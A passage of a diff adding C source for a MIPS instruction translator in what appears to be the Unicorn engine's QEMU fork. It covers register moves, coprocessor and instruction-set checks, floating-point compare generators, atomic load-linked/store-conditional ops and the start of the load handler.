+#define gen_helper_1e0i(tcg_ctx, name, ret, arg1) do { \ + TCGv_i32 helper_tmp = tcg_const_i32(tcg_ctx, arg1); \ + gen_helper_##name(tcg_ctx, ret, tcg_ctx->cpu_env, helper_tmp); \ + tcg_temp_free_i32(tcg_ctx, helper_tmp); \ + } while(0) + +#define gen_helper_1e1i(tcg_ctx, name, ret, arg1, arg2) do { \ + TCGv_i32 helper_tmp = tcg_const_i32(tcg_ctx, arg2); \ + gen_helper_##name(tcg_ctx, ret, tcg_ctx->cpu_env, arg1, helper_tmp); \ + tcg_temp_free_i32(tcg_ctx, helper_tmp); \ + } while(0) + +#define gen_helper_0e2i(tcg_ctx, name, arg1, arg2, arg3) do { \ + TCGv_i32 helper_tmp = tcg_const_i32(tcg_ctx, arg3); \ + gen_helper_##name(tcg_ctx, tcg_ctx->cpu_env, arg1, arg2, helper_tmp); \ + tcg_temp_free_i32(tcg_ctx, helper_tmp); \ + } while(0) + +#define gen_helper_1e2i(tcg_ctx, name, ret, arg1, arg2, arg3) do { \ + TCGv_i32 helper_tmp = tcg_const_i32(tcg_ctx, arg3); \ + gen_helper_##name(tcg_ctx, ret, tcg_ctx->cpu_env, arg1, arg2, helper_tmp); \ + tcg_temp_free_i32(tcg_ctx, helper_tmp); \ + } while(0) + +#define gen_helper_0e3i(tcg_ctx, name, arg1, arg2, arg3, arg4) do { \ + TCGv_i32 helper_tmp = tcg_const_i32(tcg_ctx, arg4); \ + gen_helper_##name(tcg_ctx, tcg_ctx->cpu_env, arg1, arg2, arg3, helper_tmp); \ + tcg_temp_free_i32(tcg_ctx, helper_tmp); \ + } while(0) + +typedef struct DisasContext { + struct TranslationBlock *tb; + target_ulong pc, saved_pc; + uint32_t opcode; + int singlestep_enabled; + int insn_flags; + int32_t CP0_Config1; + /* Routine used to access memory */ + int mem_idx; + uint32_t hflags, saved_hflags; + int bstate; + target_ulong btarget; + bool ulri; + int kscrexist; + bool rxi; + int ie; + bool bi; + bool bp; + // Unicorn engine + struct uc_struct *uc; +} DisasContext; + +enum { + BS_NONE = 0, /* We go out of the TB without reaching a branch or an + * exception condition */ + BS_STOP = 1, /* We want to stop translation for any reason */ + BS_BRANCH = 2, /* We reached a branch condition */ + BS_EXCP = 3, /* We reached an exception condition */ +}; + +static const char * const regnames[] = { + "r0", "at", "v0", "v1", "a0", "a1", "a2", "a3", + "t0", "t1", "t2", "t3", "t4", "t5", "t6", "t7", + "s0", "s1", "s2", "s3", "s4", "s5", "s6", "s7", + "t8", "t9", "k0", "k1", "gp", "sp", "s8", "ra", +}; + +static const char * const regnames_HI[] = { + "HI0", "HI1", "HI2", "HI3", +}; + +static const char * const regnames_LO[] = { + "LO0", "LO1", "LO2", "LO3", +}; + +static const char * const fregnames[] = { + "f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7", + "f8", "f9", "f10", "f11", "f12", "f13", "f14", "f15", + "f16", "f17", "f18", "f19", "f20", "f21", "f22", "f23", + "f24", "f25", "f26", "f27", "f28", "f29", "f30", "f31", +}; + +static const char * const msaregnames[] = { + "w0.d0", "w0.d1", "w1.d0", "w1.d1", + "w2.d0", "w2.d1", "w3.d0", "w3.d1", + "w4.d0", "w4.d1", "w5.d0", "w5.d1", + "w6.d0", "w6.d1", "w7.d0", "w7.d1", + "w8.d0", "w8.d1", "w9.d0", "w9.d1", + "w10.d0", "w10.d1", "w11.d0", "w11.d1", + "w12.d0", "w12.d1", "w13.d0", "w13.d1", + "w14.d0", "w14.d1", "w15.d0", "w15.d1", + "w16.d0", "w16.d1", "w17.d0", "w17.d1", + "w18.d0", "w18.d1", "w19.d0", "w19.d1", + "w20.d0", "w20.d1", "w21.d0", "w21.d1", + "w22.d0", "w22.d1", "w23.d0", "w23.d1", + "w24.d0", "w24.d1", "w25.d0", "w25.d1", + "w26.d0", "w26.d1", "w27.d0", "w27.d1", + "w28.d0", "w28.d1", "w29.d0", "w29.d1", + "w30.d0", "w30.d1", "w31.d0", "w31.d1", +}; + +#define MIPS_DEBUG(fmt, ...) \ + do { \ + if (MIPS_DEBUG_DISAS) { \ + qemu_log_mask(CPU_LOG_TB_IN_ASM, \ + TARGET_FMT_lx ": %08x " fmt "\n", \ + ctx->pc, ctx->opcode , ## __VA_ARGS__); \ + } \ + } while (0) + +#define LOG_DISAS(...) \ + do { \ + if (MIPS_DEBUG_DISAS) { \ + qemu_log_mask(CPU_LOG_TB_IN_ASM, ## __VA_ARGS__); \ + } \ + } while (0) + +#define MIPS_INVAL(op) \ + MIPS_DEBUG("Invalid %s %03x %03x %03x", op, ctx->opcode >> 26, \ + ctx->opcode & 0x3F, ((ctx->opcode >> 16) & 0x1F)) + +/* General purpose registers moves. */ +static inline void gen_load_gpr (DisasContext *s, TCGv t, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + if (reg == 0) + tcg_gen_movi_tl(tcg_ctx, t, 0); + else + tcg_gen_mov_tl(tcg_ctx, t, *cpu_gpr[reg]); +} + +static inline void gen_store_gpr (TCGContext *tcg_ctx, TCGv t, int reg) +{ + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + if (reg != 0) + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[reg], t); +} + +/* Moves to/from shadow registers. */ +static inline void gen_load_srsgpr (DisasContext *s, int from, int to) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + + if (from == 0) + tcg_gen_movi_tl(tcg_ctx, t0, 0); + else { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_ptr addr = tcg_temp_new_ptr(tcg_ctx); + + tcg_gen_ld_i32(tcg_ctx, t2, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_SRSCtl)); + tcg_gen_shri_i32(tcg_ctx, t2, t2, CP0SRSCtl_PSS); + tcg_gen_andi_i32(tcg_ctx, t2, t2, 0xf); + tcg_gen_muli_i32(tcg_ctx, t2, t2, sizeof(target_ulong) * 32); + tcg_gen_ext_i32_ptr(tcg_ctx, addr, t2); + tcg_gen_add_ptr(tcg_ctx, addr, tcg_ctx->cpu_env, addr); + + tcg_gen_ld_tl(tcg_ctx, t0, addr, sizeof(target_ulong) * from); + tcg_temp_free_ptr(tcg_ctx, addr); + tcg_temp_free_i32(tcg_ctx, t2); + } + gen_store_gpr(tcg_ctx, t0, to); + tcg_temp_free(tcg_ctx, t0); +} + +static inline void gen_store_srsgpr (DisasContext *s, int from, int to) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (to != 0) { + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_ptr addr = tcg_temp_new_ptr(tcg_ctx); + + gen_load_gpr(s, t0, from); + tcg_gen_ld_i32(tcg_ctx, t2, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_SRSCtl)); + tcg_gen_shri_i32(tcg_ctx, t2, t2, CP0SRSCtl_PSS); + tcg_gen_andi_i32(tcg_ctx, t2, t2, 0xf); + tcg_gen_muli_i32(tcg_ctx, t2, t2, sizeof(target_ulong) * 32); + tcg_gen_ext_i32_ptr(tcg_ctx, addr, t2); + tcg_gen_add_ptr(tcg_ctx, addr, tcg_ctx->cpu_env, addr); + + tcg_gen_st_tl(tcg_ctx, t0, addr, sizeof(target_ulong) * to); + tcg_temp_free_ptr(tcg_ctx, addr); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free(tcg_ctx, t0); + } +} + +/* Floating point register moves. */ +static void gen_load_fpr32(DisasContext *s, TCGv_i32 t, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_trunc_i64_i32(tcg_ctx, t, tcg_ctx->fpu_f64[reg]); +} + +static void gen_store_fpr32(DisasContext *s, TCGv_i32 t, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, t64, t); + tcg_gen_deposit_i64(tcg_ctx, tcg_ctx->fpu_f64[reg], tcg_ctx->fpu_f64[reg], t64, 0, 32); + tcg_temp_free_i64(tcg_ctx, t64); +} + +static void gen_load_fpr32h(DisasContext *ctx, TCGv_i32 t, int reg) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + if (ctx->hflags & MIPS_HFLAG_F64) { + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_shri_i64(tcg_ctx, t64, tcg_ctx->fpu_f64[reg], 32); + tcg_gen_trunc_i64_i32(tcg_ctx, t, t64); + tcg_temp_free_i64(tcg_ctx, t64); + } else { + gen_load_fpr32(ctx, t, reg | 1); + } +} + +static void gen_store_fpr32h(DisasContext *ctx, TCGv_i32 t, int reg) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + if (ctx->hflags & MIPS_HFLAG_F64) { + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, t64, t); + tcg_gen_deposit_i64(tcg_ctx, tcg_ctx->fpu_f64[reg], tcg_ctx->fpu_f64[reg], t64, 32, 32); + tcg_temp_free_i64(tcg_ctx, t64); + } else { + gen_store_fpr32(ctx, t, reg | 1); + } +} + +static void gen_load_fpr64(DisasContext *ctx, TCGv_i64 t, int reg) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + if (ctx->hflags & MIPS_HFLAG_F64) { + tcg_gen_mov_i64(tcg_ctx, t, tcg_ctx->fpu_f64[reg]); + } else { + tcg_gen_concat32_i64(tcg_ctx, t, tcg_ctx->fpu_f64[reg & ~1], tcg_ctx->fpu_f64[reg | 1]); + } +} + +static void gen_store_fpr64(DisasContext *ctx, TCGv_i64 t, int reg) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + if (ctx->hflags & MIPS_HFLAG_F64) { + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->fpu_f64[reg], t); + } else { + TCGv_i64 t0; + tcg_gen_deposit_i64(tcg_ctx, tcg_ctx->fpu_f64[reg & ~1], tcg_ctx->fpu_f64[reg & ~1], t, 0, 32); + t0 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_shri_i64(tcg_ctx, t0, t, 32); + tcg_gen_deposit_i64(tcg_ctx, tcg_ctx->fpu_f64[reg | 1], tcg_ctx->fpu_f64[reg | 1], t0, 0, 32); + tcg_temp_free_i64(tcg_ctx, t0); + } +} + +static inline int get_fp_bit (int cc) +{ + if (cc) + return 24 + cc; + else + return 23; +} + +/* Tests */ +static inline void gen_save_pc(DisasContext *ctx, target_ulong pc) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_PC, pc); +} + +static inline void save_cpu_state (DisasContext *ctx, int do_save_pc) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + LOG_DISAS("hflags %08x saved %08x\n", ctx->hflags, ctx->saved_hflags); + if (do_save_pc && ctx->pc != ctx->saved_pc) { + gen_save_pc(ctx, ctx->pc); + ctx->saved_pc = ctx->pc; + } + if (ctx->hflags != ctx->saved_hflags) { + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->hflags, ctx->hflags); + ctx->saved_hflags = ctx->hflags; + switch (ctx->hflags & MIPS_HFLAG_BMASK_BASE) { + case MIPS_HFLAG_BR: + break; + case MIPS_HFLAG_BC: + case MIPS_HFLAG_BL: + case MIPS_HFLAG_B: + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->btarget, ctx->btarget); + break; + } + } +} + +static inline void restore_cpu_state (CPUMIPSState *env, DisasContext *ctx) +{ + ctx->saved_hflags = ctx->hflags; + switch (ctx->hflags & MIPS_HFLAG_BMASK_BASE) { + case MIPS_HFLAG_BR: + break; + case MIPS_HFLAG_BC: + case MIPS_HFLAG_BL: + case MIPS_HFLAG_B: + ctx->btarget = env->btarget; + break; + } +} + +static inline void +generate_exception_err (DisasContext *ctx, int excp, int err) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv_i32 texcp = tcg_const_i32(tcg_ctx, excp); + TCGv_i32 terr = tcg_const_i32(tcg_ctx, err); + save_cpu_state(ctx, 1); + gen_helper_raise_exception_err(tcg_ctx, tcg_ctx->cpu_env, texcp, terr); + tcg_temp_free_i32(tcg_ctx, terr); + tcg_temp_free_i32(tcg_ctx, texcp); +} + +static inline void +generate_exception (DisasContext *ctx, int excp) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + save_cpu_state(ctx, 1); + gen_helper_0e0i(tcg_ctx, raise_exception, excp); +} + +/* Addresses computation */ +static inline void gen_op_addr_add (DisasContext *ctx, TCGv ret, TCGv arg0, TCGv arg1) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + tcg_gen_add_tl(tcg_ctx, ret, arg0, arg1); + +#if defined(TARGET_MIPS64) + if (ctx->hflags & MIPS_HFLAG_AWRAP) { + tcg_gen_ext32s_i64(tcg_ctx, ret, ret); + } +#endif +} + +/* Addresses computation (translation time) */ +static target_long addr_add(DisasContext *ctx, target_long base, + target_long offset) +{ + target_long sum = (target_long)((target_ulong)base + offset); + +#if defined(TARGET_MIPS64) + if (ctx->hflags & MIPS_HFLAG_AWRAP) { + sum = (int32_t)sum; + } +#endif + return sum; +} + +static inline void check_cp0_enabled(DisasContext *ctx) +{ + if (unlikely(!(ctx->hflags & MIPS_HFLAG_CP0))) + generate_exception_err(ctx, EXCP_CpU, 0); +} + +static inline void check_cp1_enabled(DisasContext *ctx) +{ + if (unlikely(!(ctx->hflags & MIPS_HFLAG_FPU))) + generate_exception_err(ctx, EXCP_CpU, 1); +} + +/* Verify that the processor is running with COP1X instructions enabled. + This is associated with the nabla symbol in the MIPS32 and MIPS64 + opcode tables. */ + +static inline void check_cop1x(DisasContext *ctx) +{ + if (unlikely(!(ctx->hflags & MIPS_HFLAG_COP1X))) + generate_exception(ctx, EXCP_RI); +} + +/* Verify that the processor is running with 64-bit floating-point + operations enabled. */ + +static inline void check_cp1_64bitmode(DisasContext *ctx) +{ + if (unlikely(~ctx->hflags & (MIPS_HFLAG_F64 | MIPS_HFLAG_COP1X))) + generate_exception(ctx, EXCP_RI); +} + +/* + * Verify if floating point register is valid; an operation is not defined + * if bit 0 of any register specification is set and the FR bit in the + * Status register equals zero, since the register numbers specify an + * even-odd pair of adjacent coprocessor general registers. When the FR bit + * in the Status register equals one, both even and odd register numbers + * are valid. This limitation exists only for 64 bit wide (d,l,ps) registers. + * + * Multiple 64 bit wide registers can be checked by calling + * gen_op_cp1_registers(freg1 | freg2 | ... | fregN); + */ +static inline void check_cp1_registers(DisasContext *ctx, int regs) +{ + if (unlikely(!(ctx->hflags & MIPS_HFLAG_F64) && (regs & 1))) + generate_exception(ctx, EXCP_RI); +} + +/* Verify that the processor is running with DSP instructions enabled. + This is enabled by CP0 Status register MX(24) bit. + */ + +static inline void check_dsp(DisasContext *ctx) +{ + if (unlikely(!(ctx->hflags & MIPS_HFLAG_DSP))) { + if (ctx->insn_flags & ASE_DSP) { + generate_exception(ctx, EXCP_DSPDIS); + } else { + generate_exception(ctx, EXCP_RI); + } + } +} + +static inline void check_dspr2(DisasContext *ctx) +{ + if (unlikely(!(ctx->hflags & MIPS_HFLAG_DSPR2))) { + if (ctx->insn_flags & ASE_DSP) { + generate_exception(ctx, EXCP_DSPDIS); + } else { + generate_exception(ctx, EXCP_RI); + } + } +} + +/* This code generates a "reserved instruction" exception if the + CPU does not support the instruction set corresponding to flags. */ +static inline void check_insn(DisasContext *ctx, int flags) +{ + if (unlikely(!(ctx->insn_flags & flags))) { + generate_exception(ctx, EXCP_RI); + } +} + +/* This code generates a "reserved instruction" exception if the + CPU has corresponding flag set which indicates that the instruction + has been removed. */ +static inline void check_insn_opc_removed(DisasContext *ctx, int flags) +{ + if (unlikely(ctx->insn_flags & flags)) { + generate_exception(ctx, EXCP_RI); + } +} + +#ifdef TARGET_MIPS64 +/* This code generates a "reserved instruction" exception if 64-bit + instructions are not enabled. */ +static inline void check_mips_64(DisasContext *ctx) +{ + if (unlikely(!(ctx->hflags & MIPS_HFLAG_64))) + generate_exception(ctx, EXCP_RI); +} +#endif + +/* Define small wrappers for gen_load_fpr* so that we have a uniform + calling interface for 32 and 64-bit FPRs. No sense in changing + all callers for gen_load_fpr32 when we need the CTX parameter for + this one use. */ +#define gen_ldcmp_fpr32(ctx, x, y) gen_load_fpr32(ctx, x, y) +#define gen_ldcmp_fpr64(ctx, x, y) gen_load_fpr64(ctx, x, y) +#define FOP_CONDS(type, abs, fmt, ifmt, bits) \ +static inline void gen_cmp ## type ## _ ## fmt(DisasContext *ctx, int n, \ + int ft, int fs, int cc) \ +{ \ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; \ + TCGv_i##bits fp0 = tcg_temp_new_i##bits (tcg_ctx); \ + TCGv_i##bits fp1 = tcg_temp_new_i##bits (tcg_ctx); \ + switch (ifmt) { \ + case FMT_PS: \ + check_cp1_64bitmode(ctx); \ + break; \ + case FMT_D: \ + if (abs) { \ + check_cop1x(ctx); \ + } \ + check_cp1_registers(ctx, fs | ft); \ + break; \ + case FMT_S: \ + if (abs) { \ + check_cop1x(ctx); \ + } \ + break; \ + } \ + gen_ldcmp_fpr##bits (ctx, fp0, fs); \ + gen_ldcmp_fpr##bits (ctx, fp1, ft); \ + switch (n) { \ + case 0: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _f, fp0, fp1, cc); break;\ + case 1: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _un, fp0, fp1, cc); break;\ + case 2: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _eq, fp0, fp1, cc); break;\ + case 3: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _ueq, fp0, fp1, cc); break;\ + case 4: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _olt, fp0, fp1, cc); break;\ + case 5: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _ult, fp0, fp1, cc); break;\ + case 6: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _ole, fp0, fp1, cc); break;\ + case 7: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _ule, fp0, fp1, cc); break;\ + case 8: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _sf, fp0, fp1, cc); break;\ + case 9: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _ngle, fp0, fp1, cc); break;\ + case 10: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _seq, fp0, fp1, cc); break;\ + case 11: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _ngl, fp0, fp1, cc); break;\ + case 12: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _lt, fp0, fp1, cc); break;\ + case 13: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _nge, fp0, fp1, cc); break;\ + case 14: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _le, fp0, fp1, cc); break;\ + case 15: gen_helper_0e2i(tcg_ctx, cmp ## type ## _ ## fmt ## _ngt, fp0, fp1, cc); break;\ + default: abort(); \ + } \ + tcg_temp_free_i##bits (tcg_ctx, fp0); \ + tcg_temp_free_i##bits (tcg_ctx, fp1); \ +} + +FOP_CONDS(, 0, d, FMT_D, 64) +FOP_CONDS(abs, 1, d, FMT_D, 64) +FOP_CONDS(, 0, s, FMT_S, 32) +FOP_CONDS(abs, 1, s, FMT_S, 32) +FOP_CONDS(, 0, ps, FMT_PS, 64) +FOP_CONDS(abs, 1, ps, FMT_PS, 64) +#undef FOP_CONDS + +#define FOP_CONDNS(fmt, ifmt, bits, STORE) \ +static inline void gen_r6_cmp_ ## fmt(DisasContext * ctx, int n, \ + int ft, int fs, int fd) \ +{ \ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; \ + TCGv_i ## bits fp0 = tcg_temp_new_i ## bits(tcg_ctx); \ + TCGv_i ## bits fp1 = tcg_temp_new_i ## bits(tcg_ctx); \ + switch (ifmt) { \ + default: break; \ + case FMT_D: \ + check_cp1_registers(ctx, fs | ft | fd); \ + break; \ + } \ + gen_ldcmp_fpr ## bits(ctx, fp0, fs); \ + gen_ldcmp_fpr ## bits(ctx, fp1, ft); \ + switch (n) { \ + case 0: \ + gen_helper_r6_cmp_ ## fmt ## _af(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 1: \ + gen_helper_r6_cmp_ ## fmt ## _un(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 2: \ + gen_helper_r6_cmp_ ## fmt ## _eq(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 3: \ + gen_helper_r6_cmp_ ## fmt ## _ueq(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 4: \ + gen_helper_r6_cmp_ ## fmt ## _lt(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 5: \ + gen_helper_r6_cmp_ ## fmt ## _ult(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 6: \ + gen_helper_r6_cmp_ ## fmt ## _le(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 7: \ + gen_helper_r6_cmp_ ## fmt ## _ule(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 8: \ + gen_helper_r6_cmp_ ## fmt ## _saf(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 9: \ + gen_helper_r6_cmp_ ## fmt ## _sun(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 10: \ + gen_helper_r6_cmp_ ## fmt ## _seq(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 11: \ + gen_helper_r6_cmp_ ## fmt ## _sueq(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 12: \ + gen_helper_r6_cmp_ ## fmt ## _slt(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 13: \ + gen_helper_r6_cmp_ ## fmt ## _sult(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 14: \ + gen_helper_r6_cmp_ ## fmt ## _sle(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 15: \ + gen_helper_r6_cmp_ ## fmt ## _sule(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 17: \ + gen_helper_r6_cmp_ ## fmt ## _or(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 18: \ + gen_helper_r6_cmp_ ## fmt ## _une(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 19: \ + gen_helper_r6_cmp_ ## fmt ## _ne(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 25: \ + gen_helper_r6_cmp_ ## fmt ## _sor(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 26: \ + gen_helper_r6_cmp_ ## fmt ## _sune(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + case 27: \ + gen_helper_r6_cmp_ ## fmt ## _sne(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); \ + break; \ + default: \ + abort(); \ + } \ + STORE; \ + tcg_temp_free_i ## bits (tcg_ctx, fp0); \ + tcg_temp_free_i ## bits (tcg_ctx, fp1); \ +} + +FOP_CONDNS(d, FMT_D, 64, gen_store_fpr64(ctx, fp0, fd)) +FOP_CONDNS(s, FMT_S, 32, gen_store_fpr32(ctx, fp0, fd)) +#undef FOP_CONDNS +#undef gen_ldcmp_fpr32 +#undef gen_ldcmp_fpr64 + +/* load/store instructions. */ +#ifdef CONFIG_USER_ONLY +#define OP_LD_ATOMIC(insn,fname) \ +static inline void op_ld_##insn(TCGContext *tcg_ctx, TCGv ret, TCGv arg1, DisasContext *ctx) \ +{ \ + TCGv t0 = tcg_temp_new(tcg_ctx); \ + tcg_gen_mov_tl(tcg_ctx, t0, arg1); \ + tcg_gen_qemu_##fname(ret, arg1, ctx->mem_idx); \ + tcg_gen_st_tl(tcg_ctx, t0, tcg_ctx->cpu_env, offsetof(CPUMIPSState, lladdr)); \ + tcg_gen_st_tl(tcg_ctx, ret, tcg_ctx->cpu_env, offsetof(CPUMIPSState, llval)); \ + tcg_temp_free(tcg_ctx, t0); \ +} +#else +#define OP_LD_ATOMIC(insn,fname) \ +static inline void op_ld_##insn(TCGContext *tcg_ctx, TCGv ret, TCGv arg1, DisasContext *ctx) \ +{ \ + gen_helper_1e1i(tcg_ctx, insn, ret, arg1, ctx->mem_idx); \ +} +#endif +OP_LD_ATOMIC(ll,ld32s); +#if defined(TARGET_MIPS64) +OP_LD_ATOMIC(lld,ld64); +#endif +#undef OP_LD_ATOMIC + +#ifdef CONFIG_USER_ONLY +#define OP_ST_ATOMIC(insn,fname,ldname,almask) \ +static inline void op_st_##insn(DisasContext *s, TCGv arg1, TCGv arg2, int rt, DisasContext *ctx) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv t0 = tcg_temp_new(tcg_ctx); \ + int l1 = gen_new_label(tcg_ctx); \ + int l2 = gen_new_label(tcg_ctx); \ + \ + tcg_gen_andi_tl(tcg_ctx, t0, arg2, almask); \ + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, t0, 0, l1); \ + tcg_gen_st_tl(tcg_ctx, arg2, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_BadVAddr)); \ + generate_exception(ctx, EXCP_AdES); \ + gen_set_label(tcg_ctx, l1); \ + tcg_gen_ld_tl(tcg_ctx, t0, tcg_ctx->cpu_env, offsetof(CPUMIPSState, lladdr)); \ + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_NE, arg2, t0, l2); \ + tcg_gen_movi_tl(tcg_ctx, t0, rt | ((almask << 3) & 0x20)); \ + tcg_gen_st_tl(tcg_ctx, t0, tcg_ctx->cpu_env, offsetof(CPUMIPSState, llreg)); \ + tcg_gen_st_tl(tcg_ctx, arg1, tcg_ctx->cpu_env, offsetof(CPUMIPSState, llnewval)); \ + gen_helper_0e0i(tcg_ctx, raise_exception, EXCP_SC); \ + gen_set_label(tcg_ctx, l2); \ + tcg_gen_movi_tl(tcg_ctx, t0, 0); \ + gen_store_gpr(tcg_ctx, t0, rt); \ + tcg_temp_free(tcg_ctx, t0); \ +} +#else +#define OP_ST_ATOMIC(insn,fname,ldname,almask) \ +static inline void op_st_##insn(TCGContext *tcg_ctx, TCGv arg1, TCGv arg2, int rt, DisasContext *ctx) \ +{ \ + TCGv t0 = tcg_temp_new(tcg_ctx); \ + gen_helper_1e2i(tcg_ctx, insn, t0, arg1, arg2, ctx->mem_idx); \ + gen_store_gpr(tcg_ctx, t0, rt); \ + tcg_temp_free(tcg_ctx, t0); \ +} +#endif +OP_ST_ATOMIC(sc,st32,ld32s,0x3); +#if defined(TARGET_MIPS64) +OP_ST_ATOMIC(scd,st64,ld64,0x7); +#endif +#undef OP_ST_ATOMIC + +static void gen_base_offset_addr (DisasContext *ctx, TCGv addr, + int base, int16_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + if (base == 0) { + tcg_gen_movi_tl(tcg_ctx, addr, offset); + } else if (offset == 0) { + gen_load_gpr(ctx, addr, base); + } else { + tcg_gen_movi_tl(tcg_ctx, addr, offset); + gen_op_addr_add(ctx, addr, *cpu_gpr[base], addr); + } +} + +static target_ulong pc_relative_pc (DisasContext *ctx) +{ + target_ulong pc = ctx->pc; + + if (ctx->hflags & MIPS_HFLAG_BMASK) { + int branch_bytes = ctx->hflags & MIPS_HFLAG_BDS16 ? 2 : 4; + + pc -= branch_bytes; + } + + pc &= ~(target_ulong)3; + return pc; +} + +/* Load */ +static void gen_ld(DisasContext *ctx, uint32_t opc, + int rt, int base, int16_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "ld"; + TCGv t0, t1, t2; + + if (rt == 0 && ctx->insn_flags & (INSN_LOONGSON2E | INSN_LOONGSON2F)) { + /* Loongson CPU uses a load to zero register for prefetch. + We emulate it as a NOP. On other CPU we must perform the + actual memory access. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + gen_base_offset_addr(ctx, t0, base, offset); + + switch (opc) { +#if defined(TARGET_MIPS64) + case OPC_LWU: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEUL); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lwu"; + break; + case OPC_LD: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEQ); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "ld"; + break; + case OPC_LLD: + case R6_OPC_LLD: + save_cpu_state(ctx, 1); + op_ld_lld(tcg_ctx, t0, t0, ctx); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lld"; + break; + case OPC_LDL: + t1 = 